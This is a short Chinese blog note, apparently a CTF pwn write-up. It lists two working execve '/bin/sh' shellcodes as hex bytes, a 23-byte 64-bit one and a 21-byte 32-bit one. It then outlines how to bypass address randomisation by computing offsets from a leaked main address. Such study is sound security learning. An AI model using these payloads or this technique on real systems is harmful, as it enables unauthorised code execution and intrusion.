qq_41937545的博客

64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05】​。32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80。并且没有后门没有system。

我们只需要在接收到70的时候 接收末尾10字节的 整数（这样就可以在 payload当中利用 main函数的地址）思路就是 需要利用这个main函数的地址 多次连接会发现 他的 main函数都是 70结尾的。每一次运行程序的时候 地址都会被随机 所以我们在ida 当中没办法直接看到 地址。现在就需要计算shell到main函数的偏移量（因为我们只知道main的地址）emm 但是nc 的时候他直接给出了 main 函数的真实地址。然后计算一下偏移量（虽然有随机地址的保护 但是偏移量是不变的）